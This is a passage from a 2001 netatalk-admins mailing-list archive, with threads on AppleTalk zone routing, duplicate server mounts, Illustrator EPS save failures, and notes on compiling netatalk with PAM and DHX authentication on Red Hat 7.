>>your appletalk
>>  >>   > > network setting is no longer valid and re-probe the 
>>ethernet device for
>>  >>   > > zones, etc.  In some cases, i've had to switch the 
>>appletalk from the
>>  >>   > > ethernet device to the printerport (or something else) and
>>  >>back before it
>>  >>   > > would recognize the new zones.
>>  >>   > >
>>  >>   > > alan
>>  >>   > >
>>  >>   > > At 11:26?? -0500 3.22.01, Chad Cunningham wrote:
>>  >>   > > >Hi,
>>  >>   > > >
>>  >>   > > >I am trying to replace a Solaris box running CAP with a
>>  >>linux box running
>>  >>   > > >netatalk. I can't seem to get zones to work properly under the new
>>  >>   > > >netatalk setup. My atalkd.conf looks like
>>  >>   > > >
>>  >>   > > >eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone
>>  >>"Staff" -zone "RTL"
>>  >>   > > >-zone "Faculty" -zone "EMPT" -zone "Public"
>>  >>   > > >
>>  >>   > > >It seems happy with this, the atalkd.conf doesn't get
>>  >>overwritten when I
>>  >>   > > >start up and I can use getzones and they all show up.
>>  >>However, none of the
>>  >>   > > >macs recognize any zones. Any idea why this might be?
>>  >>   > > >
>>  >>   > > > --
>>  >>   > > >
>>  >>   > > >Chad Cunningham
>>  >>   > > >ccunning@math.ohio-state.edu
>>  >>   > > >
>>  >>   > > >"Well, once again my friend, we find that science is a two-headed
>>  >>   >beast. One
>>  >>   > > >head is nice, it gives us aspirin and other modern
>>  >>conveniences,...but the
>>  >>   > > >other head of science is bad! Oh beware the other head of science,
>>  >>   >Arthur, it
>>  >>   > > >bites!"
>>  >>   > >
>>  >>   > > ----
>>  >>   > >   there's nothing like the undying sense of reliability
>>  >>provided by modern
>>  >>   > > technology.
>>  >>   > > ----
>>  >>   > > alan premselaar
>>  >>   > > alien@12inch.com
>>  >>   > > www.12inch.com
>>  >>   > >
>>  >>   >
>>  >>   >--
>>  >>   >
>>  >>   >Chad Cunningham
>>  >>   >ccunning@math.ohio-state.edu
>>  >>   >
>>  >>   >"Well, once again my friend, we find that science is a
>>  >>two-headed beast. One
>>  >>   >head is nice, it gives us aspirin and other modern 
>>conveniences,...but the
>>  >>   >other head of science is bad! Oh beware the other head of
>>  >>science, Arthur, it
>>  >>   >bites!"
>>  >>
>>  >>   ----
>>  >>     there's nothing like the undying sense of reliability 
>>provided by modern
>>  >>   technology.
>>  >>   ----
>>  >>   alan premselaar
>>  >>   alien@12inch.com
>>  >>   www.12inch.com
>>  >>
>>  >
>>  >--
>>  >
>>  >Chad Cunningham
>>  >ccunning@math.ohio-state.edu
>>  >
>>  >"Well, once again my friend, we find that science is a two-headed 
>>beast. One
>>  >head is nice, it gives us aspirin and other modern conveniences,...but the
>>  >other head of science is bad! Oh beware the other head of 
>>science, Arthur, it
>>  >bites!"
>>
>
>--
>
>Chad Cunningham
>ccunning@math.ohio-state.edu
>
>"Well, once again my friend, we find that science is a two-headed beast. One
>head is nice, it gives us aspirin and other modern conveniences,...but the
>other head of science is bad! Oh beware the other head of science, Arthur, it
>bites!"


From netatalk.administrators-errors@umich.edu  Thu Mar 22 22:38:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA00078
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 22:38:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA24126
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 22:38:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA24110
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 22:38:13 -0500 (EST)
Received: from sss.pgh.pa.us (sss.pgh.pa.us [209.114.132.154])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA24074
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 22:38:11 -0500 (EST)
Received: from sss2.sss.pgh.pa.us (tgl@localhost [127.0.0.1])
	by sss.pgh.pa.us (8.11.1/8.11.1) with ESMTP id f2N3c9616149;
	Thu, 22 Mar 2001 22:38:09 -0500 (EST)
To: Chad Cunningham <ccunning@math.ohio-state.edu>
cc: netatalk-admins@umich.edu
Subject: Re: zone router 
In-reply-to: <Pine.GSO.4.31.0103221955110.18209-100000@math.ohio-state.edu> 
References: <Pine.GSO.4.31.0103221955110.18209-100000@math.ohio-state.edu>
Comments: In-reply-to Chad Cunningham <ccunning@math.ohio-state.edu>
	message dated "Thu, 22 Mar 2001 20:02:29 -0500"
Date: Thu, 22 Mar 2001 22:38:09 -0500
Message-ID: <16146.985318689@sss.pgh.pa.us>
From: Tom Lane <tgl@sss.pgh.pa.us>

Chad Cunningham <ccunning@math.ohio-state.edu> writes:
> I've not found a good explanation of appletalk networking,

There's a pretty good one at http://www.neon.com/atalk_routing.html
(it's somewhat embellished with ads for their RouterCheck product,
but well worth a read anyway).

			regards, tom lane

From netatalk.administrators-errors@umich.edu  Thu Mar 22 22:43:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA00162
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 22:43:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA13699
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 22:43:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA13678
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 22:43:14 -0500 (EST)
Received: from abductee.12inch.com (smtp.visusmedia.com [38.241.102.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA13585
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 22:43:13 -0500 (EST)
Received: from [192.168.200.10] (sc-24-165-68-116.socal.rr.com [24.165.68.116])
	by abductee.12inch.com (8.9.3/8.8.7) with ESMTP id TAA18846;
	Thu, 22 Mar 2001 19:50:10 -0800
Mime-Version: 1.0
X-Mailer: Macintosh Eudora Pro Version 4.2.1-J
Message-Id: <v04210a03b6e071b4f3ab@[192.168.200.10]>
In-Reply-To: <Pine.GSO.4.31.0103221955110.18209-100000@math.ohio-state.edu>
References: <Pine.GSO.4.31.0103221955110.18209-100000@math.ohio-state.edu>
Date: Thu, 22 Mar 2001 19:38:17 -0800
To: Chad Cunningham <ccunning@math.ohio-state.edu>,
        Walt Reed <walt@mail.terrascope.com.criticalpath.net>
From: alan premselaar <alien@12inch.com>
Subject: Re: zone router
Cc: <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="iso-2022-jp" ; format="flowed"
Content-Transfer-Encoding: 7bit

Here's comment text taken out of the atalkd.conf file for 
netatalk-1.4.99-0.20001108mdk:

# -seed only works if you have multi-interfaces.  Any missing arguments are
# automatically configured from the network.  Note: lines can't actually be
# split, tho it's a good idea.
#
# -router is like -seed but it allows single-interface routing. -dontroute
# disables routing for the specified interface.
#

Basically, here's why you would want to perform "routing" on a single 
interface. Say you have multiple macs on one single subnet, but there's 
enough appletalk devices (printers, servers, clients, etc) broadcasting 
appletalk services to clutter your chooser.  You could define multiple 
zones in a single subnet and have different devices broadcast in different 
zones accordingly.

this is especially handy if you have printer spoolers set up for your 
printers, but don't want to "hide" the actual printer for specific reasons. 
with this method you could broadcast the actual printer in a zone ("Real 
Printer Zone" for example) and broadcast the spoolers in a different zone 
("Print Spooler Zone" for another example) ... this cleans up the chooser 
really nicely.  (as well, can be done for AFP services)

you should read this: http://www.neon.com/atalk_routing.html  for more 
detailed information regarding appletalk routing.

alan

At 8:02$B8a8e(B -0500 3.22.01, Chad Cunningham wrote:
>I'm confused :) What would the function of the second nic be? We actually
>have a second one in the machine, it's just not doing anything. We have
>two subnets, however all the macs are in one subnet as the server.
>
>I've not found a good explanation of appletalk networking, so I think I'm
>missing what the function of the second nic would be and how it should
>be configured. Cap is happy with just 1 nic and multiple zones, but I wanted
>to move to netatalk because cap doesn't handle resource forks very well.
>
>On Thu, 22 Mar 2001, Walt Reed wrote:
>
> > hate to reply to my own posts but i looked into it a bit more and saw
> > that your -router may route between appletalk networks on a single
> > interface, but i beleive you need something to "seed" the networks
> > (such as the CAP machine) before this will work.  with multiple
> > interfaces (let's face it, you can get them for $15-$20 on an intel
> > box) and the -seed option i think your problems would disappear.
> >
> > w
> >
> > ?hey chad,
> >
> > i may be way off base here, but don't appletalk routers need to have
> > a separate interface for each zone?  i used one back in the day that
> > routed between 2 floors (i believe it was a farallon pathfinder) and
> > you basically hooked one end to each network, or zone.  all the
> > machines on each network had to physically reside in the same area.
> > does you old sun box have more than one ethernet card?  i noticed
> > your linux box does not.  if the sun has more than one ethernet card,
> > (or maybe not, since i don't know the capabilities of CAP) you should
> > look into getting some more for the linux box.  besides, you'll get
> > better throughput.
> >
> > w
> >
> >
> > >As far as I know, there are no other appletalk routers. Is there any way
> > >to scan for it? But when I shut down the netatalk or CAP server, the macs
> > >say appletalk is gone and register no zones, so I would think that would
> > >mean that there isn't another router running, right?
> > >
> > >This is very strange...
> > >
> > >On Thu, 22 Mar 2001, alan premselaar wrote:
> > >
> > >>   do you have any other appletalk routers on your network?
> > >>
> > >>   when the macs see the zones in the chooser (after clicking on 
>appleshare),
> > >>   what zone(s) does the linux server show up in?
> > >>
> > >>   more than likely you've got another appletalk router somewhere on your
> > >>   network and it has conflicting zone information.
> > >>
> > >>   alan
> > >>
> > >>   At 1:12?? -0500 3.22.01, Chad Cunningham wrote:
> > >>   >Hi,
> > >>   >
> > >>   >I had rebooted them, didn't do anything. I tried opening the 
>appletalk
> > >>   >control panel and switching the appletalk connection off of 
>ethernet and
> > >>   >then back. This gave me all the zones, but for some reason every 
>computer
> > >>   >was in every zone... Also, after about 2 minutes, the mac would 
>lose all
> > >>   >it's zones and say that the appletalk network has become 
>unavailable...
> > >>   >
> > >>   >On Thu, 22 Mar 2001, alan premselaar wrote:
> > >>   >
> > >>   > > Chad,
> > >>   > >
> > >>   > >   Once you make a change to your appletalk network like that, 
>you'll
> > >>   >need to
> > >>   > > either a) reboot your macs, or b) open up the appletalk
> > >>control panel on
> > >>   > > each of them... at which point it should tell you that your 
>appletalk
> > >>   > > network setting is no longer valid and re-probe the ethernet 
>device for
> > >>   > > zones, etc.  In some cases, i've had to switch the appletalk 
>from the
> > >>   > > ethernet device to the printerport (or something else) and
> > >>back before it
> > >>   > > would recognize the new zones.
> > >>   > >
> > >>   > > alan
> > >>   > >
> > >>   > > At 11:26?? -0500 3.22.01, Chad Cunningham wrote:
> > >>   > > >Hi,
> > >>   > > >
> > >>   > > >I am trying to replace a Solaris box running CAP with a
> > >>linux box running
> > >>   > > >netatalk. I can't seem to get zones to work properly under 
>the new
> > >>   > > >netatalk setup. My atalkd.conf looks like
> > >>   > > >
> > >>   > > >eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone
> > >>"Staff" -zone "RTL"
> > >>   > > >-zone "Faculty" -zone "EMPT" -zone "Public"
> > >>   > > >
> > >>   > > >It seems happy with this, the atalkd.conf doesn't get
> > >>overwritten when I
> > >>   > > >start up and I can use getzones and they all show up.
> > >>However, none of the
> > >>   > > >macs recognize any zones. Any idea why this might be?
> > >>   > > >
> > >>   > > > --
> > >>   > > >
> > >>   > > >Chad Cunningham
> > >>   > > >ccunning@math.ohio-state.edu
> > >>   > > >
> > >>   > > >"Well, once again my friend, we find that science is a two-headed
> > >>   >beast. One
> > >>   > > >head is nice, it gives us aspirin and other modern
> > >>conveniences,...but the
> > >>   > > >other head of science is bad! Oh beware the other head of 
>science,
> > >>   >Arthur, it
> > >>   > > >bites!"
> > >>   > >
> > >>   > > ----
> > >>   > >   there's nothing like the undying sense of reliability
> > >>provided by modern
> > >>   > > technology.
> > >>   > > ----
> > >>   > > alan premselaar
> > >>   > > alien@12inch.com
> > >>   > > www.12inch.com
> > >>   > >
> > >>   >
> > >>   >--
> > >>   >
> > >>   >Chad Cunningham
> > >>   >ccunning@math.ohio-state.edu
> > >>   >
> > >>   >"Well, once again my friend, we find that science is a
> > >>two-headed beast. One
> > >>   >head is nice, it gives us aspirin and other modern 
>conveniences,...but the
> > >>   >other head of science is bad! Oh beware the other head of
> > >>science, Arthur, it
> > >>   >bites!"
> > >>
> > >>   ----
> > >>     there's nothing like the undying sense of reliability provided 
>by modern
> > >>   technology.
> > >>   ----
> > >>   alan premselaar
> > >>   alien@12inch.com
> > >>   www.12inch.com
> > >>
> > >
> > >--
> > >
> > >Chad Cunningham
> > >ccunning@math.ohio-state.edu
> > >
> > >"Well, once again my friend, we find that science is a two-headed 
>beast. One
> > >head is nice, it gives us aspirin and other modern conveniences,...but the
> > >other head of science is bad! Oh beware the other head of science, 
>Arthur, it
> > >bites!"
> >
>
>--
>
>Chad Cunningham
>ccunning@math.ohio-state.edu
>
>"Well, once again my friend, we find that science is a two-headed beast. One
>head is nice, it gives us aspirin and other modern conveniences,...but the
>other head of science is bad! Oh beware the other head of science, Arthur, it
>bites!"

----
  there's nothing like the undying sense of reliability provided by modern 
technology.
----
alan premselaar
alien@12inch.com
www.12inch.com

From netatalk.administrators-errors@umich.edu  Fri Mar 23 00:59:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA03019
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 00:59:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA14714
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 00:59:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA14692
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 00:59:43 -0500 (EST)
Received: from mail.mathit.co.jp (dns.mathit.co.jp [211.124.215.50])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA14623
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 00:59:41 -0500 (EST)
Received: from [192.168.1.102] (mt266.mathit.co.jp [192.168.1.102])
	by mail.mathit.co.jp (Postfix) with ESMTP id 165959E
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 14:59:47 +0900 (JST)
Mime-Version: 1.0
X-Sender: hitoshi@192.168.1.10
X-Mailer: Macintosh Eudora Version 4.3.2-J
Message-Id: <a04320400b6e09376be99@[192.168.1.102]>
Date: Fri, 23 Mar 2001 14:59:44 +0900
To: netatalk-admins@umich.edu
From: MATSUDA Hitoshi <hitoshi@mathit.co.jp>
Subject: Multiple Netatalk servers
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit

Hi, all

I met strange problem.
We had been using 3 Linux boxes with Netatalk (RedHat Linux 6.1 with
2.2.13 kernel and Netatalk 1.5pre3).
Recently, we added one more Linux box with same configuration as others.

Now we call Server-A, Server-B and Server-C which had been running, and
Server-D which added recently.

When we try to mount Server-B after Server-D already be mounted, Maicntosh
says that "Server-B is already mounted!". When we try to mount Server-D
after Server-B already be mounted, Macintosh says "Server-D already
mounted!". Other combinations has no trouble.

We replaced Server-D for another Linux box in order to investigate whether
Server-D has trouble or not. Same trouble happens.

Does anyone have met this kind of problem ?


MATSUDA Hitoshi
Mathit Communications,Inc
-- 

+++
$BM-8B2q<R%^%7%C%H%3%`(B
$B")(B573-1145
$BBg:eI\KgJ};T2+6bLn#2CzL\#2#5!]#6(B
$B>>ED?N;V!J(BMATSUDA Hitoshi$B!K(B
Tel 072-850-2908
Fax 072-850-2710
e-mail:hitoshi@mathit.com / hitoshi@mathit.co.jp
URL:http://www.mathit.com/
    http://www.mathit.co.jp/

From netatalk.administrators-errors@umich.edu  Fri Mar 23 02:17:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA04505
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 02:17:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA23801
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 02:17:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA23772
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 02:17:39 -0500 (EST)
Received: from neuman.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA23736
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 02:17:38 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by neuman.interaccess.com (8.10.2/8.10.2) with ESMTP id f2N7HjU17977
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 01:17:45 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 23 Mar 2001 01:16:55 -0600
Subject: Re: Multiple Netatalk servers
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6E05487.13031%bucky@interaccess.com>
In-Reply-To: <a04320400b6e09376be99@[192.168.1.102]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

This is just speculation (about something I don't completely understand
myself). Have you copied the atalk.conf files between systems? Do B and D
have the same parameters in atalk.conf? Perhaps this may be the source of
their apparent identity sharing.

If anyone knows this to be a misconception, please debunk it swiftly! I'd
really like to clarify my own understanding of this, too!

But if it helps, glad my hunch worked!

-B...

> From: MATSUDA Hitoshi <hitoshi@mathit.co.jp>
> Date: Fri, 23 Mar 2001 14:59:44 +0900
> To: netatalk-admins@umich.edu
> Subject: Multiple Netatalk servers
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 23 Mar 2001 01:04:56 -0500 (EST)
> 
> Hi, all
> 
> I met strange problem.
> We had been using 3 Linux boxes with Netatalk (RedHat Linux 6.1 with
> 2.2.13 kernel and Netatalk 1.5pre3).
> Recently, we added one more Linux box with same configuration as others.
> 
> Now we call Server-A, Server-B and Server-C which had been running, and
> Server-D which added recently.
> 
> When we try to mount Server-B after Server-D already be mounted, Maicntosh
> says that "Server-B is already mounted!". When we try to mount Server-D
> after Server-B already be mounted, Macintosh says "Server-D already
> mounted!". Other combinations has no trouble.
> 
> We replaced Server-D for another Linux box in order to investigate whether
> Server-D has trouble or not. Same trouble happens.
> 
> Does anyone have met this kind of problem ?
> 
> 
> MATSUDA Hitoshi
> Mathit Communications,Inc
> -- 
> 
> +++
> ??????????
> ?573-1145
> ??????????????-?
> ?????MATSUDA Hitoshi?
> Tel 072-850-2908
> Fax 072-850-2710
> e-mail:hitoshi@mathit.com / hitoshi@mathit.co.jp
> URL:http://www.mathit.com/
> http://www.mathit.co.jp/
> 


From netatalk.administrators-errors@umich.edu  Fri Mar 23 03:15:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA05433
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 03:15:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA07005
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 03:15:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA06997
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 03:15:45 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA06978
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 03:15:43 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA18919;
	Fri, 23 Mar 2001 09:11:46 +0100
Message-ID: <3ABB0541.DEE7F02A@euc.de>
Date: Fri, 23 Mar 2001 09:11:44 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Tom Barrons <tom@byte-productions.com>
CC: netatalk-admins@umich.edu
Subject: Re: Illustrator EPS files
References: <B6DFC736.C21%tom@byte-productions.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA05433

We have some customers using Illu 9.0 (plus the availaable patches). It
seems that Illustrator 9 has some significant bugs while storing and
exporting files. Our customer stepped back to Version 8 and everthing
works fine.

Tom Barrons wrote:
> 
> Hi all,
> 
> I could use some help.  I just built a new fileserver for a mixed
> Mac/Windows environment, I'm running netatalk and samba.  This is only the
> second such install I've done.  My first one was a while ago and it's been
> running great. I tried replicating the problem on my first install using the
> same files, the first one does not have the problem.
> 
> First machine I'm running Yellow Dog Linux Champion Server 1.1 with
> netatalk-1.4b2+asun2.1.3, from an RPM provided with the distrobution.  The
> new machine having the problem is RedHat 7 also with
> netatalk-1.4b2+asun2.1.3, this RPM was from RedHat's site. The two machines
> are on different networks in different buildings.
> 
> This art department, all Macs, use Adobe Illustrator version 9.  If a user
> tries saving a file directly to the server as an EPS "occasionally" they get
> kicked off the server and have to reconnect.  They never have this problem
> if they save the file locally and then drag copy it over the network, only
> if they are saving it from within Illustrator.
> 
> I don't see this as being to big of a problem myself but I can't seem to get
> them in the habit of doing it this way and not complaining about it.  This
> didn't used to happen on their old NT server so of course they think the
> Linux one is broken and I want to prove otherwise.  Everything else on the
> Samba/Windows end is working on this new install.
> 
> After skimming through archives of this list I suspected the CRLF
> translation and I believe I correctly disabled that by adding -nocrlf to
> afpd.conf? I restarted netatlk but the problem persists.
> 
> Since I didn't compile this myself I also wonder about a difference there,
> and how could I check for this?  Could this still be something in netatalk
> or a config somewhere, or should I be looking elsewhere on the server or the
> network?
> 
> Thanks for any help.
> Tom

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Fri Mar 23 04:52:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06871
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 04:52:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA05046
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 04:52:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA05037
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 04:52:44 -0500 (EST)
Received: from smtp-ft3.fr.colt.net (smtp-ft3.fr.colt.net [213.41.78.27])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA05015
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 04:52:43 -0500 (EST)
Received: from gpagnard (access-129.81.rev.fr.colt.net [213.41.81.129])
	by smtp-ft3.fr.colt.net with SMTP id f2N9t7J29723
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 10:55:08 +0100
Message-ID: <005601c0b37f$fca8bff0$190200c0@gpagnard>
From: "Guillaume" <webmasternewbie@online.fr>
To: <netatalk-admins@umich.edu>
Subject: Success: Compiling netatalk-1.4b2+asun2.1.4 with pam and dhx  under RH7
Date: Fri, 23 Mar 2001 10:59:44 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0053_01C0B388.5E191480"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0053_01C0B388.5E191480
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I encounter a lot of troubles when I tried to do a rpm based install of =
Netatalk (netatalk-1.4b2+asun2.1.4) on my RedHat 7.0 server.

Only guest login were OK...cause the rpm binary install do not support =
pam, des, ssl by default :-(

One night after, and reading this mailing archives, I did it =
successfully.

So here are my tips, hoping it will help someone one day!

Compile your kernel with support for Appletalk DDP as a module.
(I use a custom modified kernel based on 2.2.16 kernel instead of the =
2.2.16-22 from the RH7)

If not installed, install the external libs: pwdb, pam, openssl
easy install with RH rpms:=20
openssl-0.9.5a-14
openssl-devel-0.9.5a-14
pam-0.72-26
pwdb-0.61.1-1

also, check that you have the /usr/include/des.h on your box.

Install the source from the rpm :=20
rpm -i netatalk-1.4b2+asun2.1.4-0.i386.rpm

cd /usr/src/redhat/SOURCE (where rpm put it!)

to unzip the source:
tar -zxvf netatalk-1.4b2+asun2.1.4.tar.gz=20
cd netatalk-1.4b2+asun2.1.4

then edit the Makefile
uncomment the install prefixes:
SBINDIR=3D${INSTALL_PREFIX}/usr/sbin
BINDIR=3D${INSTALL_PREFIX}/usr/bin
LIBDIR=3D${INSTALL_PREFIX}/usr/lib
RESDIR=3D${INSTALL_PREFIX}/usr/lib/atalk
ETCDIR=3D${INSTALL_PREFIX}/etc/atalk
INCDIR=3D${INSTALL_PREFIX}/usr/include
MANDIR=3D${INSTALL_PREFIX}/usr/man

set the crypto dir var to:
CRYPTODIR=3D/usr/include/openssl
( this is the default location from the openssl rpm install)

set the vars:
DESDIR=3D/usr/lib
PAMDIR=3D/usr

and, (and also that's why I spend one night awake), edit the =
etc/uams/Makefile and near the line 43, change:
CRYPTOINCPATH=3D"-I${CRYPTODIR}/include =
-I${CRYPTODIR}/include/openssl";\
by :
CRYPTOINCPATH=3D"-I${CRYPTODIR}"; \

then run a : make depend; make && make install

edit your /etc/atalk/afpd.conf and  add the needed dso modules to the =
uamlist of your config.

then start the daemon:
/etc/init.d/atalk start

check the /var/log/messages for lines like:

afpd[7991]: uam: uams_dhx.so loaded
afpd[7991]: uam: uams_randnum.so loaded
afpd[7991]: uam: "2-Way Randnum exchange" available
afpd[7991]: uam: "Randnum exchange" available
afpd[7991]: uam: "DHCAST128" available

...

note that some of the dso are links:
#ls -al /usr/lib/atalk/uams/
total 48
lrwxrwxrwx    1 root     root           11 mar 22 17:24 uams_clrtxt.so =
-> uams_pam.so
lrwxrwxrwx    1 root     root           15 mar 22 17:24 uams_dhx.so -> =
uams_dhx_pam.so
-rwxr-xr-x    1 root     root         8757 mar 22 17:24 uams_dhx_pam.so
-rwxr-xr-x    1 root     root         5948 mar 22 17:24 =
uams_dhx_passwd.so
-rwxr-xr-x    1 root     root         3386 mar 22 17:24 uams_guest.so
-rwxr-xr-x    1 root     root         6027 mar 22 17:24 uams_pam.so
-rwxr-xr-x    1 root     root         4001 mar 22 17:24 uams_passwd.so
-rwxr-xr-x    1 root     root         9286 mar 22 17:24 uams_randnum.so

that's it, now my Mac clients are able to login with their Unix accounts =
too, no need for .passwd files!

a call to sleep(12*3600) needed now :-)

Guillaume.




------=_NextPart_000_0053_01C0B388.5E191480
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I encounter a lot of troubles when I =
tried=20
to&nbsp;do a rpm based install of&nbsp;Netatalk =
(netatalk-1.4b2+asun2.1.4) on my=20
RedHat 7.0 server.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
